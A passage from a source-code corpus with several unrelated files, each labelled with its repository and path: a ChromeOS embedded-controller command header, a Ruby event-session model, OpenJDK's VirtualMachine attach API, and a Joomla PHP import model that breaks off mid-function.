EC_CMD_PSTORE_WRITE 0x42 struct ec_params_pstore_write { uint32_t offset; /* Byte offset to write */ uint32_t size; /* Size to write in bytes */ uint8_t data[EC_PSTORE_SIZE_MAX]; } __packed; /*****************************************************************************/ /* Real-time clock */ /* RTC params and response structures */ struct ec_params_rtc { uint32_t time; } __packed; struct ec_response_rtc { uint32_t time; } __packed; /* These use ec_response_rtc */ #define EC_CMD_RTC_GET_VALUE 0x44 #define EC_CMD_RTC_GET_ALARM 0x45 /* These all use ec_params_rtc */ #define EC_CMD_RTC_SET_VALUE 0x46 #define EC_CMD_RTC_SET_ALARM 0x47 /*****************************************************************************/ /* Port80 log access */ /* Get last port80 code from previous boot */ #define EC_CMD_PORT80_LAST_BOOT 0x48 struct ec_response_port80_last_boot { uint16_t code; } __packed; /*****************************************************************************/ /* Thermal engine commands */ /* Set thershold value */ #define EC_CMD_THERMAL_SET_THRESHOLD 0x50 struct ec_params_thermal_set_threshold { uint8_t sensor_type; uint8_t threshold_id; uint16_t value; } __packed; /* Get threshold value */ #define EC_CMD_THERMAL_GET_THRESHOLD 0x51 struct ec_params_thermal_get_threshold { uint8_t sensor_type; uint8_t threshold_id; } __packed; struct ec_response_thermal_get_threshold { uint16_t value; } __packed; /* Toggle automatic fan control */ #define EC_CMD_THERMAL_AUTO_FAN_CTRL 0x52 /*****************************************************************************/ /* MKBP - Matrix KeyBoard Protocol */ /* * Read key state * * Returns raw data for keyboard cols; see ec_response_mkbp_info.cols for * expected response size. */ #define EC_CMD_MKBP_STATE 0x60 /* Provide information about the matrix : number of rows and columns */ #define EC_CMD_MKBP_INFO 0x61 struct ec_response_mkbp_info { uint32_t rows; uint32_t cols; uint8_t switches; } __packed; /* Simulate key press */ #define EC_CMD_MKBP_SIMULATE_KEY 0x62 struct ec_params_mkbp_simulate_key { uint8_t col; uint8_t row; uint8_t pressed; } __packed; /*****************************************************************************/ /* Temperature sensor commands */ /* Read temperature sensor info */ #define EC_CMD_TEMP_SENSOR_GET_INFO 0x70 struct ec_params_temp_sensor_get_info { uint8_t id; } __packed; struct ec_response_temp_sensor_get_info { char sensor_name[32]; uint8_t sensor_type; } __packed; /*****************************************************************************/ /* * Note: host commands 0x80 - 0x87 are reserved to avoid conflict with ACPI * commands accidentally sent to the wrong interface. See the ACPI section * below. */ /*****************************************************************************/ /* Host event commands */ /* * Host event mask params and response structures, shared by all of the host * event commands below. */ struct ec_params_host_event_mask { uint32_t mask; } __packed; struct ec_response_host_event_mask { uint32_t mask; } __packed; /* These all use ec_response_host_event_mask */ #define EC_CMD_HOST_EVENT_GET_B 0x87 #define EC_CMD_HOST_EVENT_GET_SMI_MASK 0x88 #define EC_CMD_HOST_EVENT_GET_SCI_MASK 0x89 #define EC_CMD_HOST_EVENT_GET_WAKE_MASK 0x8d /* These all use ec_params_host_event_mask */ #define EC_CMD_HOST_EVENT_SET_SMI_MASK 0x8a #define EC_CMD_HOST_EVENT_SET_SCI_MASK 0x8b #define EC_CMD_HOST_EVENT_CLEAR 0x8c #define EC_CMD_HOST_EVENT_SET_WAKE_MASK 0x8e #define EC_CMD_HOST_EVENT_CLEAR_B 0x8f /*****************************************************************************/ /* Switch commands */ /* Enable/disable LCD backlight */ #define EC_CMD_SWITCH_ENABLE_BKLIGHT 0x90 struct ec_params_switch_enable_backlight { uint8_t enabled; } __packed; /* Enable/disable WLAN/Bluetooth */ #define EC_CMD_SWITCH_ENABLE_WIRELESS 0x91 struct ec_params_switch_enable_wireless { uint8_t enabled; } __packed; /*****************************************************************************/ /* GPIO commands. Only available on EC if write protect has been disabled. */ /* Set GPIO output value */ #define EC_CMD_GPIO_SET 0x92 struct ec_params_gpio_set { char name[32]; uint8_t val; } __packed; /* Get GPIO value */ #define EC_CMD_GPIO_GET 0x93 struct ec_params_gpio_get { char name[32]; } __packed; struct ec_response_gpio_get { uint8_t val; } __packed; /*****************************************************************************/ /* I2C commands. Only available when flash write protect is unlocked. */ /* Read I2C bus */ #define EC_CMD_I2C_READ 0x94 struct ec_params_i2c_read { uint16_t addr; uint8_t read_size; /* Either 8 or 16. */ uint8_t port; uint8_t offset; } __packed; struct ec_response_i2c_read { uint16_t data; } __packed; /* Write I2C bus */ #define EC_CMD_I2C_WRITE 0x95 struct ec_params_i2c_write { uint16_t data; uint16_t addr; uint8_t write_size; /* Either 8 or 16. */ uint8_t port; uint8_t offset; } __packed; /*****************************************************************************/ /* Charge state commands. Only available when flash write protect unlocked. */ /* Force charge state machine to stop in idle mode */ #define EC_CMD_CHARGE_FORCE_IDLE 0x96 struct ec_params_force_idle { uint8_t enabled; } __packed; /*****************************************************************************/ /* Console commands. Only available when flash write protect is unlocked. */ /* Snapshot console output buffer for use by EC_CMD_CONSOLE_READ. */ #define EC_CMD_CONSOLE_SNAPSHOT 0x97 /* * Read next chunk of data from saved snapshot. * * Response is null-terminated string. Empty string, if there is no more * remaining output. */ #define EC_CMD_CONSOLE_READ 0x98 /*****************************************************************************/ /* System commands */ /* * TODO: this is a confusing name, since it doesn't necessarily reboot the EC. * Rename to "set image" or something similar. */ #define EC_CMD_REBOOT_EC 0xd2 /* Command */ enum ec_reboot_cmd { EC_REBOOT_CANCEL = 0, /* Cancel a pending reboot */ EC_REBOOT_JUMP_RO, /* Jump to RO without rebooting */ EC_REBOOT_JUMP_RW, /* Jump to RW without rebooting */ /* (command 3 was jump to RW-B) */ EC_REBOOT_COLD = 4, /* Cold-reboot */ EC_REBOOT_DISABLE_JUMP, /* Disable jump until next reboot */ }; /* Flags for ec_params_reboot_ec.reboot_flags */ #define EC_REBOOT_FLAG_RESERVED0 (1 << 0) /* Was recovery request */ #define EC_REBOOT_FLAG_ON_AP_SHUTDOWN (1 << 1) #define EC_REBOOT_FLAG_POWER_ON (1 << 2) struct ec_params_reboot_ec { uint8_t cmd; /* enum ec_reboot_cmd */ uint8_t flags; /* See EC_REBOOT_FLAG_* */ } __packed; /*****************************************************************************/ /* * ACPI commands * * These are valid ONLY on the ACPI command/data port. */ /* * ACPI Read Embedded Controller * * This reads from ACPI memory space on the EC (EC_ACPI_MEM_*). * * Use the following sequence: * * - Write EC_CMD_ACPI_READ to EC_LPC_ADDR_ACPI_CMD * - Wait for EC_LPC_CMDR_PENDING bit to clear * - Write address to EC_LPC_ADDR_ACPI_DATA * - Wait for EC_LPC_CMDR_DATA bit to set * - Read value from EC_LPC_ADDR_ACPI_DATA */ #define EC_CMD_ACPI_READ 0x80 /* * ACPI Write Embedded Controller * * This reads from ACPI memory space on the EC (EC_ACPI_MEM_*). * * Use the following sequence: * * - Write EC_CMD_ACPI_WRITE to EC_LPC_ADDR_ACPI_CMD * - Wait for EC_LPC_CMDR_PENDING bit to clear * - Write address to EC_LPC_ADDR_ACPI_DATA * - Wait for EC_LPC_CMDR_PENDING bit to clear * - Write value to EC_LPC_ADDR_ACPI_DATA */ #define EC_CMD_ACPI_WRITE 0x81 /* * ACPI Query Embedded Controller * * This clears the lowest-order bit in the currently pending host events, and * sets the result code to the 1-based index of the bit (event 0x00000001 = 1, * event 0x80000000 = 32), or 0 if no event was pending. */ #define EC_CMD_ACPI_QUERY_EVENT 0x84 /* Valid addresses in ACPI memory space, for read/write commands */ /* Memory space version; set to EC_ACPI_MEM_VERSION_CURRENT */ #define EC_ACPI_MEM_VERSION 0x00 /* * Test location; writing value here updates test compliment byte to (0xff - * value). */ #define EC_ACPI_MEM_TEST 0x01 /* Test compliment; writes here are ignored. */ #define EC_ACPI_MEM_TEST_COMPLIMENT 0x02 /* Keyboard backlight brightness percent (0 - 100) */ #define EC_ACPI_MEM_KEYBOARD_BACKLIGHT 0x03 /* Current version of ACPI memory address space */ #define EC_ACPI_MEM_VERSION_CURRENT 1 /*****************************************************************************/ /* * Special commands * * These do not follow the normal rules for commands. See each command for * details. */ /* * Reboot NOW * * This command will work even when the EC LPC interface is busy, because the * reboot command is processed at interrupt level. Note that when the EC * reboots, the host will reboot too, so there is no response to this command. * * Use EC_CMD_REBOOT_EC to reboot the EC more politely. */ #define EC_CMD_REBOOT 0xd1 /* Think "die" */ /* * This header byte on a command indicate version 0. Any header byte less * than this means that we are talking to an old EC which doesn't support * versioning. In that case, we assume version 0. * * Header bytes greater than this indicate a later version. For example, * EC_CMD_VERSION0 + 1 means we are using version 1. * * The old EC interface must not use commands 0dc or higher. */ #define EC_CMD_VERSION0 0xdc #endif /* !__ACPI__ */ #endif /* __CROS_EC_COMMANDS_H */
hustcalm/coreboot-hacking
src/ec/google/chromeec/ec_commands.h
C
gpl-2.0
32,069
class Eventsession include Mongoid::Document include Mongoid::Timestamps field :start_at, type: Time field :end_at, type: Time field :location, type: String embedded_in :activity validates :end_at, presence: true validates :start_at, presence: true validate :end_after_start # before_save :set_timezone # def set_timezone # die # self.start_at = ActiveSupport::TimeZone.new('Europe/Helsinki').local_to_utc(self.start_at) if self.start_at.zone != 'UTC' # self.end_at = ActiveSupport::TimeZone.new('Europe/Helsinki').local_to_utc(self.end_at) if self.end_at.zone != 'UTC' # end def as_json(options = {}) { :id => self.id.to_s, :title => self.activity.name, :description => self.activity.description || "", location: location.blank? ? 'SOLU' : self.location, :start => start_at.in_time_zone.strftime('%Y-%m-%d %H:%M:00'), :end => end_at.in_time_zone.strftime('%H:%M') == '23:59' ? '??' : end_at.in_time_zone.strftime('%Y-%m-%d %H:%M:00'), :allDay => false, :recurring => false, :exhibition => ((end_at - start_at) / 60 / 60 / 24 ) > 3 ? true : false, :url => Rails.application.routes.url_helpers.activity_path(self.activity.slug) } end private def end_after_start return if end_at.blank? || start_at.blank? if end_at < start_at errors.add(:end_at, "must be after starting time") end end end
cenotaph/HYBRID_MATTERs
app/models/eventsession.rb
Ruby
gpl-2.0
1,427
/* * Copyright (c) 2005, 2014, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.sun.tools.attach; import com.sun.tools.attach.spi.AttachProvider; import java.util.ArrayList; import java.util.List; import java.util.Properties; import java.io.IOException; /** * A Java virtual machine. * * <p> A <code>VirtualMachine</code> represents a Java virtual machine to which this * Java virtual machine has attached. The Java virtual machine to which it is * attached is sometimes called the <i>target virtual machine</i>, or <i>target VM</i>. * An application (typically a tool such as a managemet console or profiler) uses a * VirtualMachine to load an agent into the target VM. For example, a profiler tool * written in the Java Language might attach to a running application and load its * profiler agent to profile the running application. </p> * * <p> A VirtualMachine is obtained by invoking the {@link #attach(String) attach} method * with an identifier that identifies the target virtual machine. The identifier is * implementation-dependent but is typically the process identifier (or pid) in * environments where each Java virtual machine runs in its own operating system process. * Alternatively, a <code>VirtualMachine</code> instance is obtained by invoking the * {@link #attach(VirtualMachineDescriptor) attach} method with a {@link * com.sun.tools.attach.VirtualMachineDescriptor VirtualMachineDescriptor} obtained * from the list of virtual machine descriptors returned by the {@link #list list} method. * Once a reference to a virtual machine is obtained, the {@link #loadAgent loadAgent}, * {@link #loadAgentLibrary loadAgentLibrary}, and {@link #loadAgentPath loadAgentPath} * methods are used to load agents into target virtual machine. The {@link * #loadAgent loadAgent} method is used to load agents that are written in the Java * Language and deployed in a {@link java.util.jar.JarFile JAR file}. (See * {@link java.lang.instrument} for a detailed description on how these agents * are loaded and started). The {@link #loadAgentLibrary loadAgentLibrary} and * {@link #loadAgentPath loadAgentPath} methods are used to load agents that * are deployed either in a dynamic library or statically linked into the VM and make use of the <a * href="../../../../../../../../technotes/guides/jvmti/index.html">JVM Tools * Interface</a>. </p> * * <p> In addition to loading agents a VirtualMachine provides read access to the * {@link java.lang.System#getProperties() system properties} in the target VM. * This can be useful in some environments where properties such as * <code>java.home</code>, <code>os.name</code>, or <code>os.arch</code> are * used to construct the path to agent that will be loaded into the target VM. * * <p> The following example demonstrates how VirtualMachine may be used:</p> * * <pre> * * // attach to target VM * VirtualMachine vm = VirtualMachine.attach("2177"); * * // start management agent * Properties props = new Properties(); * props.put("com.sun.management.jmxremote.port", "5000"); * vm.startManagementAgent(props); * * // detach * vm.detach(); * * </pre> * * <p> In this example we attach to a Java virtual machine that is identified by * the process identifier <code>2177</code>. Then the JMX management agent is * started in the target process using the supplied arguments. Finally, the * client detaches from the target VM. </p> * * <p> A VirtualMachine is safe for use by multiple concurrent threads. </p> * * @since 1.6 */ @jdk.Exported public abstract class VirtualMachine { private AttachProvider provider; private String id; private volatile int hash; // 0 => not computed /** * Initializes a new instance of this class. * * @param provider * The attach provider creating this class. * @param id * The abstract identifier that identifies the Java virtual machine. * * @throws NullPointerException * If <code>provider</code> or <code>id</code> is <code>null</code>. */ protected VirtualMachine(AttachProvider provider, String id) { if (provider == null) { throw new NullPointerException("provider cannot be null"); } if (id == null) { throw new NullPointerException("id cannot be null"); } this.provider = provider; this.id = id; } /** * Return a list of Java virtual machines. * * <p> This method returns a list of Java {@link * com.sun.tools.attach.VirtualMachineDescriptor} elements. * The list is an aggregation of the virtual machine * descriptor lists obtained by invoking the {@link * com.sun.tools.attach.spi.AttachProvider#listVirtualMachines * listVirtualMachines} method of all installed * {@link com.sun.tools.attach.spi.AttachProvider attach providers}. * If there are no Java virtual machines known to any provider * then an empty list is returned. * * @return The list of virtual machine descriptors. */ public static List<VirtualMachineDescriptor> list() { ArrayList<VirtualMachineDescriptor> l = new ArrayList<VirtualMachineDescriptor>(); List<AttachProvider> providers = AttachProvider.providers(); for (AttachProvider provider: providers) { l.addAll(provider.listVirtualMachines()); } return l; } /** * Attaches to a Java virtual machine. * * <p> This method obtains the list of attach providers by invoking the * {@link com.sun.tools.attach.spi.AttachProvider#providers() * AttachProvider.providers()} method. It then iterates overs the list * and invokes each provider's {@link * com.sun.tools.attach.spi.AttachProvider#attachVirtualMachine(java.lang.String) * attachVirtualMachine} method in turn. If a provider successfully * attaches then the iteration terminates, and the VirtualMachine created * by the provider that successfully attached is returned by this method. * If the <code>attachVirtualMachine</code> method of all providers throws * {@link com.sun.tools.attach.AttachNotSupportedException AttachNotSupportedException} * then this method also throws <code>AttachNotSupportedException</code>. * This means that <code>AttachNotSupportedException</code> is thrown when * the identifier provided to this method is invalid, or the identifier * corresponds to a Java virtual machine that does not exist, or none * of the providers can attach to it. This exception is also thrown if * {@link com.sun.tools.attach.spi.AttachProvider#providers() * AttachProvider.providers()} returns an empty list. </p> * * @param id * The abstract identifier that identifies the Java virtual machine. * * @return A VirtualMachine representing the target VM. * * @throws SecurityException * If a security manager has been installed and it denies * {@link com.sun.tools.attach.AttachPermission AttachPermission} * <tt>("attachVirtualMachine")</tt>, or another permission * required by the implementation. * * @throws AttachNotSupportedException * If the <code>attachVirtualmachine</code> method of all installed * providers throws <code>AttachNotSupportedException</code>, or * there aren't any providers installed. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>id</code> is <code>null</code>. */ public static VirtualMachine attach(String id) throws AttachNotSupportedException, IOException { if (id == null) { throw new NullPointerException("id cannot be null"); } List<AttachProvider> providers = AttachProvider.providers(); if (providers.size() == 0) { throw new AttachNotSupportedException("no providers installed"); } AttachNotSupportedException lastExc = null; for (AttachProvider provider: providers) { try { return provider.attachVirtualMachine(id); } catch (AttachNotSupportedException x) { lastExc = x; } } throw lastExc; } /** * Attaches to a Java virtual machine. * * <p> This method first invokes the {@link * com.sun.tools.attach.VirtualMachineDescriptor#provider() provider()} method * of the given virtual machine descriptor to obtain the attach provider. It * then invokes the attach provider's {@link * com.sun.tools.attach.spi.AttachProvider#attachVirtualMachine(VirtualMachineDescriptor) * attachVirtualMachine} to attach to the target VM. * * @param vmd * The virtual machine descriptor. * * @return A VirtualMachine representing the target VM. * * @throws SecurityException * If a security manager has been installed and it denies * {@link com.sun.tools.attach.AttachPermission AttachPermission} * <tt>("attachVirtualMachine")</tt>, or another permission * required by the implementation. * * @throws AttachNotSupportedException * If the attach provider's <code>attachVirtualmachine</code> * throws <code>AttachNotSupportedException</code>. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>vmd</code> is <code>null</code>. */ public static VirtualMachine attach(VirtualMachineDescriptor vmd) throws AttachNotSupportedException, IOException { return vmd.provider().attachVirtualMachine(vmd); } /** * Detach from the virtual machine. * * <p> After detaching from the virtual machine, any further attempt to invoke * operations on that virtual machine will cause an {@link java.io.IOException * IOException} to be thrown. If an operation (such as {@link #loadAgent * loadAgent} for example) is in progress when this method is invoked then * the behaviour is implementation dependent. In other words, it is * implementation specific if the operation completes or throws * <tt>IOException</tt>. * * <p> If already detached from the virtual machine then invoking this * method has no effect. </p> * * @throws IOException * If an I/O error occurs */ public abstract void detach() throws IOException; /** * Returns the provider that created this virtual machine. * * @return The provider that created this virtual machine. */ public final AttachProvider provider() { return provider; } /** * Returns the identifier for this Java virtual machine. * * @return The identifier for this Java virtual machine. */ public final String id() { return id; } /** * Loads an agent library. * * <p> A <a href="../../../../../../../../technotes/guides/jvmti/index.html">JVM * TI</a> client is called an <i>agent</i>. It is developed in a native language. * A JVM TI agent is deployed in a platform specific manner but it is typically the * platform equivalent of a dynamic library. Alternatively, it may be statically linked into the VM. * This method causes the given agent library to be loaded into the target * VM (if not already loaded or if not statically linked into the VM). * It then causes the target VM to invoke the <code>Agent_OnAttach</code> function * or, for a statically linked agent named 'L', the <code>Agent_OnAttach_L</code> function * as specified in the * <a href="../../../../../../../../technotes/guides/jvmti/index.html"> JVM Tools * Interface</a> specification. Note that the <code>Agent_OnAttach[_L]</code> * function is invoked even if the agent library was loaded prior to invoking * this method. * * <p> The agent library provided is the name of the agent library. It is interpreted * in the target virtual machine in an implementation-dependent manner. Typically an * implementation will expand the library name into an operating system specific file * name. For example, on UNIX systems, the name <tt>L</tt> might be expanded to * <tt>libL.so</tt>, and located using the search path specified by the * <tt>LD_LIBRARY_PATH</tt> environment variable. If the agent named 'L' is * statically linked into the VM then the VM must export a function named * <code>Agent_OnAttach_L</code>.</p> * * <p> If the <code>Agent_OnAttach[_L]</code> function in the agent library returns * an error then an {@link com.sun.tools.attach.AgentInitializationException} is * thrown. The return value from the <code>Agent_OnAttach[_L]</code> can then be * obtained by invoking the {@link * com.sun.tools.attach.AgentInitializationException#returnValue() returnValue} * method on the exception. </p> * * @param agentLibrary * The name of the agent library. * * @param options * The options to provide to the <code>Agent_OnAttach[_L]</code> * function (can be <code>null</code>). * * @throws AgentLoadException * If the agent library does not exist, the agent library is not * statically linked with the VM, or the agent library cannot be * loaded for another reason. * * @throws AgentInitializationException * If the <code>Agent_OnAttach[_L]</code> function returns an error. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agentLibrary</code> is <code>null</code>. * * @see com.sun.tools.attach.AgentInitializationException#returnValue() */ public abstract void loadAgentLibrary(String agentLibrary, String options) throws AgentLoadException, AgentInitializationException, IOException; /** * Loads an agent library. * * <p> This convenience method works as if by invoking: * * <blockquote><tt> * {@link #loadAgentLibrary(String, String) loadAgentLibrary}(agentLibrary,&nbsp;null); * </tt></blockquote> * * @param agentLibrary * The name of the agent library. * * @throws AgentLoadException * If the agent library does not exist, the agent library is not * statically linked with the VM, or the agent library cannot be * loaded for another reason. * * @throws AgentInitializationException * If the <code>Agent_OnAttach[_L]</code> function returns an error. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agentLibrary</code> is <code>null</code>. */ public void loadAgentLibrary(String agentLibrary) throws AgentLoadException, AgentInitializationException, IOException { loadAgentLibrary(agentLibrary, null); } /** * Load a native agent library by full pathname. * * <p> A <a href="../../../../../../../../technotes/guides/jvmti/index.html">JVM * TI</a> client is called an <i>agent</i>. It is developed in a native language. * A JVM TI agent is deployed in a platform specific manner but it is typically the * platform equivalent of a dynamic library. Alternatively, the native * library specified by the agentPath parameter may be statically * linked with the VM. The parsing of the agentPath parameter into * a statically linked library name is done in a platform * specific manner in the VM. For example, in UNIX, an agentPath parameter * of <code>/a/b/libL.so</code> would name a library 'L'. * * See the JVM TI Specification for more details. * * This method causes the given agent library to be loaded into the target * VM (if not already loaded or if not statically linked into the VM). * It then causes the target VM to invoke the <code>Agent_OnAttach</code> * function or, for a statically linked agent named 'L', the * <code>Agent_OnAttach_L</code> function as specified in the * <a href="../../../../../../../../technotes/guides/jvmti/index.html"> JVM Tools * Interface</a> specification. * Note that the <code>Agent_OnAttach[_L]</code> * function is invoked even if the agent library was loaded prior to invoking * this method. * * <p> The agent library provided is the absolute path from which to load the * agent library. Unlike {@link #loadAgentLibrary loadAgentLibrary}, the library name * is not expanded in the target virtual machine. </p> * * <p> If the <code>Agent_OnAttach[_L]</code> function in the agent library returns * an error then an {@link com.sun.tools.attach.AgentInitializationException} is * thrown. The return value from the <code>Agent_OnAttach[_L]</code> can then be * obtained by invoking the {@link * com.sun.tools.attach.AgentInitializationException#returnValue() returnValue} * method on the exception. </p> * * @param agentPath * The full path of the agent library. * * @param options * The options to provide to the <code>Agent_OnAttach[_L]</code> * function (can be <code>null</code>). * * @throws AgentLoadException * If the agent library does not exist, the agent library is not * statically linked with the VM, or the agent library cannot be * loaded for another reason. * * @throws AgentInitializationException * If the <code>Agent_OnAttach[_L]</code> function returns an error. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agentPath</code> is <code>null</code>. * * @see com.sun.tools.attach.AgentInitializationException#returnValue() */ public abstract void loadAgentPath(String agentPath, String options) throws AgentLoadException, AgentInitializationException, IOException; /** * Load a native agent library by full pathname. * * <p> This convenience method works as if by invoking: * * <blockquote><tt> * {@link #loadAgentPath(String, String) loadAgentPath}(agentLibrary,&nbsp;null); * </tt></blockquote> * * @param agentPath * The full path to the agent library. * * @throws AgentLoadException * If the agent library does not exist, the agent library is not * statically linked with the VM, or the agent library cannot be * loaded for another reason. * * @throws AgentInitializationException * If the <code>Agent_OnAttach[_L]</code> function returns an error. * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agentPath</code> is <code>null</code>. */ public void loadAgentPath(String agentPath) throws AgentLoadException, AgentInitializationException, IOException { loadAgentPath(agentPath, null); } /** * Loads an agent. * * <p> The agent provided to this method is a path name to a JAR file on the file * system of the target virtual machine. This path is passed to the target virtual * machine where it is interpreted. The target virtual machine attempts to start * the agent as specified by the {@link java.lang.instrument} specification. * That is, the specified JAR file is added to the system class path (of the target * virtual machine), and the <code>agentmain</code> method of the agent class, specified * by the <code>Agent-Class</code> attribute in the JAR manifest, is invoked. This * method completes when the <code>agentmain</code> method completes. * * @param agent * Path to the JAR file containing the agent. * * @param options * The options to provide to the agent's <code>agentmain</code> * method (can be <code>null</code>). * * @throws AgentLoadException * If the agent does not exist, or cannot be started in the manner * specified in the {@link java.lang.instrument} specification. * * @throws AgentInitializationException * If the <code>agentmain</code> throws an exception * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agent</code> is <code>null</code>. */ public abstract void loadAgent(String agent, String options) throws AgentLoadException, AgentInitializationException, IOException; /** * Loads an agent. * * <p> This convenience method works as if by invoking: * * <blockquote><tt> * {@link #loadAgent(String, String) loadAgent}(agent,&nbsp;null); * </tt></blockquote> * * @param agent * Path to the JAR file containing the agent. * * @throws AgentLoadException * If the agent does not exist, or cannot be started in the manner * specified in the {@link java.lang.instrument} specification. * * @throws AgentInitializationException * If the <code>agentmain</code> throws an exception * * @throws IOException * If an I/O error occurs * * @throws NullPointerException * If <code>agent</code> is <code>null</code>. */ public void loadAgent(String agent) throws AgentLoadException, AgentInitializationException, IOException { loadAgent(agent, null); } /** * Returns the current system properties in the target virtual machine. * * <p> This method returns the system properties in the target virtual * machine. Properties whose key or value is not a <tt>String</tt> are * omitted. The method is approximately equivalent to the invocation of the * method {@link java.lang.System#getProperties System.getProperties} * in the target virtual machine except that properties with a key or * value that is not a <tt>String</tt> are not included. * * <p> This method is typically used to decide which agent to load into * the target virtual machine with {@link #loadAgent loadAgent}, or * {@link #loadAgentLibrary loadAgentLibrary}. For example, the * <code>java.home</code> or <code>user.dir</code> properties might be * use to create the path to the agent library or JAR file. * * @return The system properties * * @throws AttachOperationFailedException * If the target virtual machine is unable to complete the * attach operation. A more specific error message will be * given by {@link AttachOperationFailedException#getMessage()}. * * @throws IOException * If an I/O error occurs, a communication error for example, * that cannot be identified as an error to indicate that the * operation failed in the target VM. * * @see java.lang.System#getProperties * @see #loadAgentLibrary * @see #loadAgent */ public abstract Properties getSystemProperties() throws IOException; /** * Returns the current <i>agent properties</i> in the target virtual * machine. * * <p> The target virtual machine can maintain a list of properties on * behalf of agents. The manner in which this is done, the names of the * properties, and the types of values that are allowed, is implementation * specific. Agent properties are typically used to store communication * end-points and other agent configuration details. For example, a debugger * agent might create an agent property for its transport address. * * <p> This method returns the agent properties whose key and value is a * <tt>String</tt>. Properties whose key or value is not a <tt>String</tt> * are omitted. If there are no agent properties maintained in the target * virtual machine then an empty property list is returned. * * @return The agent properties * * @throws AttachOperationFailedException * If the target virtual machine is unable to complete the * attach operation. A more specific error message will be * given by {@link AttachOperationFailedException#getMessage()}. * * @throws IOException * If an I/O error occurs, a communication error for example, * that cannot be identified as an error to indicate that the * operation failed in the target VM. */ public abstract Properties getAgentProperties() throws IOException; /** * Starts the JMX management agent in the target virtual machine. * * <p> The configuration properties are the same as those specified on * the command line when starting the JMX management agent. In the same * way as on the command line, you need to specify at least the * {@code com.sun.management.jmxremote.port} property. * * <p> See the online documentation for <a * href="../../../../../../../../technotes/guides/management/agent.html"> * Monitoring and Management Using JMX Technology</a> for further details. * * @param agentProperties * A Properties object containing the configuration properties * for the agent. * * @throws AttachOperationFailedException * If the target virtual machine is unable to complete the * attach operation. A more specific error message will be * given by {@link AttachOperationFailedException#getMessage()}. * * @throws IOException * If an I/O error occurs, a communication error for example, * that cannot be identified as an error to indicate that the * operation failed in the target VM. * * @throws IllegalArgumentException * If keys or values in agentProperties are invalid. * * @throws NullPointerException * If agentProperties is null. * * @since 1.9 */ public abstract void startManagementAgent(Properties agentProperties) throws IOException; /** * Starts the local JMX management agent in the target virtual machine. * * <p> See the online documentation for <a * href="../../../../../../../../technotes/guides/management/agent.html"> * Monitoring and Management Using JMX Technology</a> for further details. * * @return The String representation of the local connector's service address. * The value can be parsed by the * {@link javax.management.remote.JMXServiceURL#JMXServiceURL(String)} * constructor. * * @throws AttachOperationFailedException * If the target virtual machine is unable to complete the * attach operation. A more specific error message will be * given by {@link AttachOperationFailedException#getMessage()}. * * @throws IOException * If an I/O error occurs, a communication error for example, * that cannot be identified as an error to indicate that the * operation failed in the target VM. * * @since 1.9 */ public abstract String startLocalManagementAgent() throws IOException; /** * Returns a hash-code value for this VirtualMachine. The hash * code is based upon the VirtualMachine's components, and satifies * the general contract of the {@link java.lang.Object#hashCode() * Object.hashCode} method. * * @return A hash-code value for this virtual machine */ public int hashCode() { if (hash != 0) { return hash; } hash = provider.hashCode() * 127 + id.hashCode(); return hash; } /** * Tests this VirtualMachine for equality with another object. * * <p> If the given object is not a VirtualMachine then this * method returns <tt>false</tt>. For two VirtualMachines to * be considered equal requires that they both reference the same * provider, and their {@link VirtualMachineDescriptor#id() identifiers} are equal. </p> * * <p> This method satisfies the general contract of the {@link * java.lang.Object#equals(Object) Object.equals} method. </p> * * @param ob The object to which this object is to be compared * * @return <tt>true</tt> if, and only if, the given object is * a VirtualMachine that is equal to this * VirtualMachine. */ public boolean equals(Object ob) { if (ob == this) return true; if (!(ob instanceof VirtualMachine)) return false; VirtualMachine other = (VirtualMachine)ob; if (other.provider() != this.provider()) { return false; } if (!other.id().equals(this.id())) { return false; } return true; } /** * Returns the string representation of the <code>VirtualMachine</code>. */ public String toString() { return provider.toString() + ": " + id; } }
isaacl/openjdk-jdk
src/share/classes/com/sun/tools/attach/VirtualMachine.java
Java
gpl-2.0
31,253
<?php /****************************************************************************************\ ** @name EXP Autos 2.0 ** ** @package Joomla 1.6 ** ** @author EXP TEAM::Alexey Kurguz (Grusha) ** ** @copyright Copyright (C) 2005 - 2011 EXP TEAM::Alexey Kurguz (Grusha) ** ** @link http://www.feellove.eu ** ** @license Commercial License ** \****************************************************************************************/ // No direct access. defined('_JEXEC') or die; jimport('joomla.application.component.modellist'); class ExpAutosProModelImport extends JModelList { public function __construct($config = array()) { parent::__construct(); } public function importcsv($name, $select, $uploadfile) { $db = JFactory::getDBO(); $postselect = $select; $fname = $uploadfile['name']; $chk_ext = explode(".", $fname); if (strtolower($chk_ext[1]) == "csv") { $filename = $uploadfile['tmp_name']; $handle = fopen($filename, "r"); $lists = $db->getTableFields('#__' . $name); $list = array_keys($lists['#__' . $name]); while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) { $obj = new stdClass(); for ($i = 0; $i < count($list); $i++) { $obj->$list["$i"] = str_replace('\\"', '"', $data[$i]); } if ($postselect) { $db->updateObject('#__' . $name, $obj, 'id'); } else { $db->insertObject('#__' . $name, $obj); } } fclose($handle); $this->setError($fname); return true; } else { $this->setError(JText::_('COM_EXPAUTOSPRO_CSVIMPORT_ERROR_NOCSVFILE_TEXT')); return false; } } public function importxml($uploadfile, $select) { $db = JFactory::getDBO(); $fname = $uploadfile['name']; $chk_ext = explode(".", $fname); if 